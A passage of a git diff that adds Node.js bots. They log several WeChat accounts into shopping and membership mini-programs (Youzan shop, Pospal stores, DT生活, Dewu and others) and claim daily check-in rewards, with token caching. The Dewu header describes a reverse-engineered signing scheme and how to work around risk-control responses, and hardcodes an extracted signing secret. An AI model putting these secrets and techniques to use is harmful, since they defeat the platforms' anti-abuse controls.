// 未取到成长体系标识 oneid:多为该微信号未在东风日产注册/激活会员 + throw new Error(`NO_ACCOUNT:登录未返回 oneid`); + } + const cache = readCache(); + cache[this.account.openid] = { + oneid: this.oneid, token: this.token, apiToken: this.apiToken, + openid: this.openid, updatedAt: new Date().toISOString(), + }; + writeCache(cache); + this.log(`登录成功 oneid=${short(this.oneid, 16)} token=${this.token ? "有" : "无"} jwt=${this.apiToken ? "有" : "无"}`); + } + // wxapi 域名 GET(JWT 鉴权) + async wxapiGet(apiPath) { + const sep = apiPath.includes("?") ? "&" : "?"; + const res = await axios.request({ + method: "GET", + url: `${WXAPI_BASE}${apiPath}${sep}wxUuid=${this.wxUuid}`, + headers: { + Accept: "application/json", + Authorization: `Bearer ${this.apiToken || this.token}`, + "Content-Type": "application/json", + "User-Agent": UA, Referer: REFERER, + urid: this.openid || "", xweb_xhr: "1", + }, + timeout: 20000, validateStatus: () => true, + }); + return res.data || {}; + } + // ariya 域名 POST(自动签名) + async ariyaPost(apiPath, body) { + const ts = Date.now(); + const nonce = genNoncestr(); + const rng = "1"; + const sign = sha512(`${CLIENT_ID}${ts}${this.token}${nonce}${rng}${this.oneid}`); + const bodyStr = body != null ? JSON.stringify(body) : ""; + const res = await axios.request({ + method: "POST", + url: `${ARIYA_BASE}${apiPath}`, + data: bodyStr || undefined, + headers: { + Accept: "*/*", "Accept-Encoding": "identity", + "Content-Type": "application/json", + "User-Agent": UA, Referer: REFERER, + appCode: APP_CODE, appSkin: APP_SKIN, clientid: CLIENT_ID, + noncestr: nonce, oneid: this.oneid, uuid: this.oneid, + range: rng, sign, timestamp: String(ts), token: this.token, xweb_xhr: "1", + }, + timeout: 20000, validateStatus: () => true, + }); + return res.data || {}; + } + async sign(retry = true) { + // 1) 先查今日签到记录(ariya 签名) + const today = chinaDateStr(); + try { + const sl = await this.ariyaPost( + "/dfn-growth/rest/ly-mp-growth-service/ly/mgs/checkin/signList", + { brandCode: 1, channel: "2", startTime: today, endTime: today }); + if (sl && String(sl.result) === "1") { + for (const row of (sl.rows || [])) { + if (String(row.signTime || "").startsWith(today)) return this.log(`✅ 今日已签到`); + } + } + } catch (e) { /* 查询失败不阻塞签到 */ } + + // 2) 执行签到(wxapi JWT,GET,无 body) + const res = await this.wxapiGet("/api/small/v4/signin/mgs/checkin/signSave"); + const code = res.code; + const msg = res.message || res.msg || short(res); + if (code === 10000) return this.log(`✅ 签到成功`); + if (code === 10010 || /已签|签到过|重复|已有签到/.test(String(msg))) return this.log(`✅ 今日已签到(${msg})`); + if (retry && /token|登录|未授权|失效|过期|未登录|鉴权|unauth|invalid/i.test(String(msg)) || res.code === 401 || res.status === 401) { + this.log("会话失效,重新登录后重试"); + this.token = ""; this.apiToken = ""; this.oneid = ""; + await this.login(); + return this.sign(false); + } + this.log(`❌ 签到失败: ${msg}`); + } + async queryGrowth() { + try { + const res = await this.ariyaPost( + "/dfn-growth/rest/ly-mp-growth-service/ly/mgs/growth/growthvalue/medal", {}); + if (res && String(res.result) === "1") { + const d = res.data || {}; + if (d.growthScore !== undefined) this.log(`成长值: ${d.growthScore}${d.levelName ? `(${d.levelName})` : ""}`); + } + } catch (e) { /* 非关键 */ } + } + async ensureLogin() { + const cached = readCache()[this.account.openid] || {}; + if (!this.oneid && cached.oneid) { + this.oneid = cached.oneid; this.token = cached.token || ""; + this.apiToken = cached.apiToken || ""; this.openid = cached.openid || this.openid; + this.log("使用缓存登录态"); + return; + } + if (!this.oneid) await this.login(); + } + async run() { + if (!this.account.openid) { this.log("跳过:变量值里没有 openid"); return; } + try { + await this.ensureLogin(); + await this.sign(); + await this.queryGrowth(); + } catch (e) { + if (String(e.message).startsWith("NO_ACCOUNT")) { + this.log("⚠️ 该微信号还没在东风日产人车生活注册/激活会员,先在小程序里登录一次再跑"); + return; + } + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { $.log(`未找到变量 ${ckName}`); return; } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})().catch((e) => $.log(e.message || e)).finally(() => $.done()); diff --git a/wxapp/dsmmhy.js b/wxapp/dsmmhy.js new file mode 100644 index 00000000..0df75307 --- /dev/null +++ b/wxapp/dsmmhy.js @@ -0,0 +1,306 @@ +/* +------------------------------------------ +@Description: 袋鼠妈妈会员商城 - 微信小程序静默登录 + 每日签到(有赞平台) +cron: 12 8 * * * +------------------------------------------ +变量名:dsmmhy +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wxb27b46293d405a20,有赞店铺 kdtId=44587018,登录 uic.youzan.com / 业务 h5.youzan.com): +(迁移自 YYB-GO 系脚本,原脚本已 code 登录;与本仓 youzan.js 通用登录同构) + + 登录 POST https://uic.youzan.com/passport/general/auth.json?kdt_id=44587018&app_id= + body {appId, code, platformName:"weapp", signature:"windows", clientBiz:"weapp_wsc", + inWsc:true, kdtId, extraBizData:{enterOptions{...},guideBizDataMap,sceneData}} + -> code==0,data.accessToken(=后续 token)、data.sessionId(=sid)、data.kdtId(真实店铺号) + access_token 之后作为查询参数 access_token= 带在每个 h5.youzan.com 请求上(不是 cookie) + 会话 GET https://h5.youzan.com/wscaccount/api/authorize/data.json -> code==0 会话有效 + 活动 GET https://h5.youzan.com/wscump/checkin/check-in-info.json -> data.checkInId(实时签到活动 id,防轮换) + 状态 GET https://h5.youzan.com/wscump/checkin/get_activity_by_yzuid_v2.json?checkinId= -> data.isCheckin(已签) + 签到 GET https://h5.youzan.com/wscump/checkin/checkinV2.json?checkinId=&... + -> code==0 成功(data.list[].infos.title 为奖励);已签到走 msg / data.success==false&desc; + code==1000000002「userId must be >= 1」= 该微信号还没在该店注册会员(账号态,不是脚本缺陷) + KDT_ID=44587018 / CHECKIN_ID=17019 是这家店铺的固定应用常量(原脚本硬编码,非个人凭证)。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("袋鼠妈妈会员商城签到"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "dsmmhy"; +const MINI_APP_ID = "wxb27b46293d405a20"; +const KDT_ID = "44587018"; +const CHECKIN_ID = "17019"; // 兜底;脚本优先用 check-in-info.json 的实时 checkinId(有赞活动 id 可能轮换) +const UIC = "https://uic.youzan.com"; +const H5 = "https://h5.youzan.com"; +const WEAPP_VERSION = "2.232.5.101"; +const TOKEN_CACHE_FILE = path.join(__dirname, "dsmmhy_token_cache.json"); +const USER_AGENT = + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 " + + "Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} +function writeCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} +function short(v, n = 200) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} + +const isOk = (res) => Number(res?.code) === 0; +const msgOf = (res) => res?.msg || res?.message || short(res); +const isAlreadyDone = (t) => /已签|已经签|签到过|重复|已完成|already/i.test(String(t || "")); +const isNotMember = (res) => + Number(res?.code) === 1000000002 || /userId must be|未注册|请先注册|注册会员|开通会员|没有会员/i.test(msgOf(res)); + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.cred = null; + } + + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + + get kdt() { + return (this.cred && this.cred.kdtId) || KDT_ID || ""; + } + + headers() { + return { + "Content-Type": "application/json", + Accept: "application/json, text/plain, */*", + "User-Agent": USER_AGENT, + "Extra-Data": JSON.stringify({ + is_weapp: 1, + sid: (this.cred && this.cred.sid) || "", + version: WEAPP_VERSION, + client: "weapp", + bizEnv: "wsc", + }), + Referer: `https://servicewechat.com/${MINI_APP_ID}/39/page-frame.html`, + }; + } + + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + + async login() { + const code = await this.getCode(); + const body = { + appId: MINI_APP_ID, + code, + platformName: "weapp", + signature: "windows", + clientBiz: "weapp_wsc", + inWsc: true, + kdtId: KDT_ID, + extraBizData: { + enterOptions: { + extKdtId: Number(KDT_ID) || 0, + path: "pages/home/dashboard/index", + query: {}, + scene: 1005, + referrerInfo: {}, + hostExtraData: {}, + apiCategory: "default", + }, + guideBizDataMap: { from_params: "" }, + sceneData: {}, + }, + }; + const { data } = await axios.post( + `${UIC}/passport/general/auth.json?kdt_id=${KDT_ID}&app_id=${MINI_APP_ID}`, + body, + { headers: this.headers(), timeout: 20000, validateStatus: () => true } + ); + if (!isOk(data) || !(data.data || {}).accessToken) { + if (isNotMember(data)) { + this.unregistered = true; + throw new Error("NO_ACCOUNT:登录未注册"); + } + throw new Error(`有赞登录失败: ${msgOf(data)}`); + } + const d = data.data; + this.cred = { + accessToken: d.accessToken, + sid: d.sessionId || "", + kdtId: String(d.kdtId || KDT_ID), + }; + const cache = readCache(); + cache[this.account.openid] = { ...this.cred, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log(`登录成功(店铺 kdtId=${this.cred.kdtId}${d.nickname ? `,${d.nickname}` : ""})`); + } + + async h5Get(apiPath, params = {}) { + const q = new URLSearchParams({ + store_id: "", + app_id: MINI_APP_ID, + kdt_id: this.kdt, + access_token: this.cred.accessToken, + appId: MINI_APP_ID, + kdtId: this.kdt, + ...params, + }).toString(); + const { data } = await axios.get(`${H5}${apiPath}?${q}`, { + headers: this.headers(), + timeout: 15000, + validateStatus: () => true, + }); + return data; + } + + async checkSession() { + try { + const res = await this.h5Get("/wscaccount/api/authorize/data.json"); + return isOk(res); + } catch (e) { + return false; + } + } + + async ensureLogin() { + const cached = readCache()[this.account.openid]; + if (!this.cred && cached && cached.accessToken) { + this.cred = { accessToken: cached.accessToken, sid: cached.sid, kdtId: cached.kdtId }; + if (await this.checkSession()) { + this.log("使用缓存ck"); + return; + } + this.log("缓存ck失效,重新登录"); + this.cred = null; + } + if (!this.cred) await this.login(); + } + + // 优先取实时 checkinId(防活动 id 轮换),失败回落到硬编码 + async resolveCheckinId() { + try { + const info = await this.h5Get("/wscump/checkin/check-in-info.json"); + if (isOk(info)) { + const d = info.data || {}; + const cid = d.checkInId || d.checkinId || d.check_in_id || ""; + if (cid) return String(cid); + } else if (isNotMember(info)) { + this.notMember = true; + } + } catch (e) {} + return CHECKIN_ID; + } + + async sign() { + const checkinId = await this.resolveCheckinId(); + if (this.notMember) { + return this.log("⚠️ 该微信号还没在袋鼠妈妈注册会员(有赞签到要先注册),请在小程序里注册一次再跑"); + } + if (!checkinId) { + this.log("⚠️ 未取到 checkinId,只登录不签到"); + return; + } + + // 预查签到状态,避免重复请求 + try { + const act = await this.h5Get("/wscump/checkin/get_activity_by_yzuid_v2.json", { checkinId }); + if (isOk(act) && (act.data || {}).isCheckin) { + return this.log(`✅ 今日已签到,连续 ${(act.data || {}).continuesDay ?? "?"} 天`); + } + if (isNotMember(act)) { + return this.log("⚠️ 该微信号还没在袋鼠妈妈注册会员(有赞签到要先注册),请在小程序里注册一次再跑"); + } + } catch (e) {} + + const res = await this.h5Get("/wscump/checkin/checkinV2.json", { checkinId }); + if (isOk(res)) { + const d = res.data || {}; + if (d.success === false) { + if (isAlreadyDone(d.desc)) return this.log(`✅ 今日已签到(${d.desc})`); + if (/手机号未授权|未授权手机|请先授权|未注册|未绑定|绑定手机/.test(String(d.desc || ""))) { + return this.log(`⚠️ 该微信号还没在袋鼠妈妈(有赞)授权手机号/注册会员(${d.desc}),先在小程序里授权登录一次再跑`); + } + return this.log(`❌ 签到失败: ${d.desc || msgOf(res)}`); + } + const award = (d.list || []) + .map((x) => x?.infos?.title || x?.infos?.desc || "") + .filter(Boolean) + .join(", "); + return this.log(`✅ 签到成功${award ? `: ${award}` : ""}${d.desc ? `(${d.desc})` : ""}`); + } + if (isAlreadyDone(msgOf(res))) return this.log(`✅ 今日已签到(${msgOf(res)})`); + if (isNotMember(res)) { + return this.log("⚠️ 该微信号还没在袋鼠妈妈注册会员(有赞签到要先注册),请在小程序里注册一次再跑"); + } + if (/手机号未授权|未授权手机|请先授权|未注册|未绑定|绑定手机/.test(String(msgOf(res)))) { + return this.log(`⚠️ 该微信号还没在袋鼠妈妈(有赞)授权手机号/注册会员(${msgOf(res)}),先在小程序里授权登录一次再跑`); + } + this.log(`❌ 签到失败: ${msgOf(res)}`); + } + + async run() { + if (!this.account.openid) { + this.log("跳过:变量值里没有 openid"); + return; + } + try { + await this.ensureLogin(); + await this.sign(); + } catch (e) { + if (String(e.message).startsWith("NO_ACCOUNT")) { + this.log("⚠️ 该微信号还没在袋鼠妈妈注册会员(有赞登录未激活),请在小程序里登录注册一次再跑"); + return; + } + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { + $.log(`未找到变量 ${ckName}`); + return; + } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); diff --git a/wxapp/dstx.js b/wxapp/dstx.js new file mode 100644 index 00000000..60409b08 --- /dev/null +++ b/wxapp/dstx.js @@ -0,0 +1,169 @@ +/* +------------------------------------------ +@Description: 都市甜心(pospal) - 微信小程序静默登录 + 每日签到 +cron: 47 8 * * * +------------------------------------------ +变量名:dstx +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wx46abbbcfa7cf571a,pospal SaaS,host wxservice-stg62.pospal.cn): +(迁移自 YYB-GO 系脚本,原脚本已 code 登录) + +STORE_IDS=["5545556","4815863"] 逐个尝试(都市甜心的门店)。 +授权 POST /wxapi/customeraccount/Auth {storeId:int, signInMode:1, code}(不带 PSPLVISITORID) + -> 提取 reloginToken(作为后续 PSPLVISITORID 头) +识别 POST /wxapi/customeraccount/FindLoginInfo {storeId,isRefresh,...} -> customerUid(有=该门店已识别会员) +查询 POST /wxapi/customeraccount/FindCheckinPointsNew {range:1} -> result[].todayChecked +签到 POST /wxapi/customeraccount/Checkin {longitude:0,latitude:0,address:"",isMemberCard:false,memberCardNo:""} + -> successed==true 成功 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("都市甜心签到"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "dstx"; +const MINI_APP_ID = "wx46abbbcfa7cf571a"; +const HOST = "wxservice-stg62.pospal.cn"; +const BASE = `https://${HOST}`; +const STORE_IDS = ["5545556", "4815863"]; +const TOKEN_CACHE_FILE = path.join(__dirname, "dstx_token_cache.json"); +const UA = + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) " + + "MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; } catch (e) { return {}; } +} +function writeCache(c) { + try { fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(c, null, 2), "utf8"); } catch (e) { $.log(`写入缓存失败: ${e.message || e}`); } +} +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} +function short(v, n = 200) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} +/** 递归在嵌套对象里找任一 key 的首个非空值 */ +function findValueByKeys(data, keys) { + const seen = new Set(); + const stack = [data]; + while (stack.length) { + const cur = stack.pop(); + if (!cur || typeof cur !== "object" || seen.has(cur)) continue; + seen.add(cur); + for (const [k, v] of Object.entries(cur)) { + if (keys.has(k) && v !== null && v !== undefined && String(v) !== "") return String(v); + if (v && typeof v === "object") stack.push(v); + } + } + return ""; +} +const RELOGIN_KEYS = new Set(["reloginToken", "ReloginToken", "reLoginToken", "VISITORSESSION"]); +const UID_KEYS = new Set(["customerUid", "customer_uid", "customerUID", "customerId", "customer_id", "uid"]); + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + } + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + headers(storeId, visitorUid, mode = "RegularOrder|package", includeVisitor = true) { + const h = { + Host: HOST, Connection: "keep-alive", PSPLVISITORAUTO: "API", + VERSIONINFO: "NC|2026.4.9", STOREID: String(storeId), xweb_xhr: "1", + APPTYPE: "1", POSPALSTOREMODE: mode, "User-Agent": UA, + "Content-Type": "application/json", Accept: "*/*", + }; + if (includeVisitor) h.PSPLVISITORID = visitorUid || ""; + return h; + } + async request(apiPath, body, headers) { + const res = await axios.request({ method: "POST", url: `${BASE}${apiPath}`, data: body || {}, headers, timeout: 20000, validateStatus: () => true }); + if (res.status !== 200) { if (res.data && typeof res.data === "object") return res.data; return { successed: false, messages: `HTTP ${res.status}` }; } + return res.data; + } + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + async authStore(storeId) { + const code = await this.getCode(); + const data = await this.request("/wxapi/customeraccount/Auth", { storeId: Number(storeId), signInMode: 1, code }, this.headers(storeId, null, "RegularOrder|takeout", false)); + return findValueByKeys(data, RELOGIN_KEYS); + } + async findLoginInfo(storeId, reloginToken) { + const data = await this.request("/wxapi/customeraccount/FindLoginInfo", { + storeId: Number(storeId), isRefresh: true, showCardAge: true, isMemCenter: true, + incShoppingCard: false, agreementVersion: "20220523", incBirthdayChangeCount: false, + }, this.headers(storeId, reloginToken)); + return { uid: findValueByKeys(data, UID_KEYS), data }; + } + async login() { + for (const storeId of STORE_IDS) { + const reloginToken = await this.authStore(storeId); + if (!reloginToken) continue; + const { uid } = await this.findLoginInfo(storeId, reloginToken); + if (uid) { + const cache = readCache(); + cache[this.account.openid] = { storeId, reloginToken, uid, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log(`登录识别成功 门店 ${storeId}`); + return { storeId, reloginToken, uid }; + } + } + return null; + } + async sign(sess) { + const { storeId, reloginToken } = sess; + // 查询今日是否已签 + const q = await this.request("/wxapi/customeraccount/FindCheckinPointsNew", { range: 1 }, this.headers(storeId, reloginToken)); + const pts = q.result; + if (Array.isArray(pts) && pts.some((p) => p && p.todayChecked)) return this.log("✅ 今日已签到"); + const res = await this.request("/wxapi/customeraccount/Checkin", { longitude: 0, latitude: 0, address: "", isMemberCard: false, memberCardNo: "" }, this.headers(storeId, reloginToken)); + if (res.successed) return this.log("✅ 签到成功"); + const msg = res.messages || short(res); + if (/已签|签到过|重复|已完成/.test(String(msg))) return this.log(`✅ 今日已签到(${msg})`); + this.log(`❌ 签到失败: ${msg}`); + } + async run() { + if (!this.account.openid) { this.log("跳过:变量值里没有 openid"); return; } + try { + const sess = await this.login(); + if (!sess) { this.log("⚠️ 微信授权成功,但该微信号未在都市甜心任一门店注册会员,先在小程序里注册一次再跑"); return; } + await this.sign(sess); + } catch (e) { + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { $.log(`未找到变量 ${ckName}`); return; } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})().catch((e) => $.log(e.message || e)).finally(() => $.done()); diff --git a/wxapp/dtsh.js b/wxapp/dtsh.js new file mode 100644 index 00000000..4c4e6402 --- /dev/null +++ b/wxapp/dtsh.js @@ -0,0 +1,161 @@ +/* +------------------------------------------ +@Description: DT生活(ebeck) - 微信小程序静默登录 + 每日签到 +cron: 33 8 * * * +------------------------------------------ +变量名:dtsh +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wx51a2021dd921f747,host ebeikeapi.ebeck.cn): +(迁移自 YYB-GO 系脚本,原脚本已 code 登录,纯 JSON 无签名) + +登录 POST /api/v2/user/userLogin {code, appId, client:"wxmp", version:"251", pid:"", channeltype:""} + -> data.data.token(token 放在后续请求 body,不是头) +签到 POST /api/v2/user/userSign {version:"251", client:"wxmp", token} + -> data.msg,data.data.points/sign_num;msg 含「已签」视为已签到 +积分 POST /api/v2/user/userPointsGet(可选,未强用) +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("DT生活签到"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "dtsh"; +const MINI_APP_ID = "wx51a2021dd921f747"; +const BASE = "https://ebeikeapi.ebeck.cn"; +const APP_VERSION = "251"; +const TOKEN_CACHE_FILE = path.join(__dirname, "dtsh_token_cache.json"); +const USER_AGENT = + "Mozilla/5.0 (Linux; Android 12; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 " + + "Chrome/107.0.0.0 Mobile Safari/537.36 MicroMessenger/8.0.5 MiniProgramEnv/android"; + +const EP_LOGIN = "/api/v2/user/userLogin"; +const EP_SIGN = "/api/v2/user/userSign"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} +function writeCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} +function short(v, n = 200) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} + +const isAlreadyDone = (t) => /已签|已经签|签到过|重复|已完成|already/i.test(String(t || "")); + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.token = ""; + } + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + async request(apiPath, body) { + const res = await axios.request({ + method: "POST", url: `${BASE}${apiPath}`, data: body || {}, + headers: { "Content-Type": "application/json", charset: "utf-8", "User-Agent": USER_AGENT }, + timeout: 20000, validateStatus: () => true, + }); + if (res.status !== 200) { + if (res.data && typeof res.data === "object") return res.data; + throw new Error(`${apiPath} HTTP ${res.status}: ${short(res.data)}`); + } + return res.data; + } + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + async login() { + const code = await this.getCode(); + const res = await this.request(EP_LOGIN, { code, appId: MINI_APP_ID, client: "wxmp", version: APP_VERSION, pid: "", channeltype: "" }); + const d = res?.data || {}; + this.token = String(d.token || ""); + if (res?.status !== "ok" || !this.token) throw new Error(`登录失败: ${res?.msg || (typeof res?.data === "string" ? res.data : short(res))}`); + // is_mobile==0 / is_user_info==0 = 未绑定手机号/未完善资料 = 未注册会员,签不了 + this.unregistered = Number(d.is_mobile) === 0; + const cache = readCache(); + cache[this.account.openid] = { token: this.token, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log(`登录成功${this.unregistered ? "(该微信号未绑定手机号/未注册会员)" : ""}`); + } + async sign(retry = true) { + const res = await this.request(EP_SIGN, { version: APP_VERSION, client: "wxmp", token: this.token }); + const d = res?.data; + const dataMsg = typeof d === "string" ? d : ""; + const msg = res?.msg || res?.message || dataMsg || ""; + if (res?.status === "ok") { + const obj = d && typeof d === "object" ? d : {}; + return this.log(`✅ 签到成功${obj.points !== undefined ? `,积分+${obj.points}` : ""}${obj.sign_num !== undefined ? `,连续 ${obj.sign_num} 天` : ""}${msg ? `(${msg})` : ""}`); + } + if (isAlreadyDone(msg)) return this.log(`✅ 今日已签到(${msg})`); + if (retry && /token|重新登录|未授权|失效|过期|未登录/i.test(msg)) { + this.log("会话失效,重新登录后重试"); + this.token = ""; + await this.login(); + return this.sign(false); + } + this.log(`❌ 签到失败: ${msg || short(res)}`); + } + async ensureLogin() { + const cached = readCache()[this.account.openid] || {}; + if (!this.token && cached.token) { this.token = cached.token; this.log("使用缓存token"); return; } + if (!this.token) await this.login(); + } + async run() { + if (!this.account.openid) { this.log("跳过:变量值里没有 openid"); return; } + try { + await this.ensureLogin(); + if (this.unregistered) { + this.log("⚠️ 该微信号还没在 DT生活 绑定手机号/注册会员,先在小程序里登录注册一次再跑"); + return; + } + await this.sign(); + } catch (e) { + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { $.log(`未找到变量 ${ckName}`); return; } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})().catch((e) => $.log(e.message || e)).finally(() => $.done()); diff --git a/wxapp/dw.js b/wxapp/dw.js new file mode 100644 index 00000000..80f1f935 --- /dev/null +++ b/wxapp/dw.js @@ -0,0 +1,354 @@ +/* +------------------------------------------ +@Description: 得物(Dewu/Poizon) 种树 - 微信小程序静默登录 + 每日签到 +cron: 30 8 * * * +------------------------------------------ +变量名:dw +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wx3c12cdd0ae8b1a7b,host app.dewu.com): +(迁移自 YYB-GO 得物种树脚本,原脚本已 code 登录) + +两套签名/两处放置(关键差异): + 登录签名 loginSign:对 body 排序键拼接 key+fmt(v)(bool→true/false,null 跳过), + 末尾追加 SW_APP_SIGN_SECRET 后 MD5;sign 放在【body】里。 + 业务签名 bizSign :对参数排序键拼接 key+str(v)(null→""),末尾追加 SIGN_SECRET + 后 MD5;sign 放在【query ?sign=】里。POST 签 body,GET 签 query。 + 空 body/空 query 时 sign = MD5(SIGN_SECRET)。 + +登录 POST /api/v1/h5/user_core/mapi/users/wechat/login + body={type:"wxapp",code,deviceId,newFlow:true,hitGray:true,bizType:""}+sign(loginSign) + 头带 SK/ltk/AppId:wxapp/xsn 等固定应用常量,不带 token + -> resp.header['x-auth-token'](去 "Bearer ")= 后续 x-auth-token 头 + && body.code==200,body.data.loginInfo.loginToken = duToken/cookieToken +状态 GET /hacking-tree/v1/sign/list -> data.list 里 day==currentDay && IsSignIn ⇒ 今日已签 +签到 POST /hacking-tree/v1/sign/sign_in {} + -> HTTP200 && body.code==200 ⇒ 成功(data.Num=获得水滴);body.code==711110001 ⇒ 今日已签 +鉴权失效:body.code==11001 / msg含"校验失败" / code==700 / msg含"未登录/请先登录" ⇒ 重登重试 +风控:body.code==485 且 data.sessionId / msg含"请校验验证码" ⇒ 命中滑块(当前 IP 被得物风控, + 非脚本 bug,需 App 内手动签到或换网络重跑)。403/404/485「网络拥堵/前方拥挤」为瞬时限流,退避重试。 +SIGN_SECRET / SW_APP_SIGN_SECRET / SW_APP_SK / SW_APP_LTK / AUTH_SK / device_model 均为该 +小程序固定应用常量(原脚本硬编码,非个人凭证)。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("得物种树签到"); +const axios = require("axios"); +const crypto = require("crypto"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "dw"; +const MINI_APP_ID = "wx3c12cdd0ae8b1a7b"; +const BASE = "https://app.dewu.com"; + +// 业务签名密钥(种树 hacking-tree 接口) +const SIGN_SECRET = "048a9c4943398714b356a696503d2d36"; +// 小程序登录签名密钥 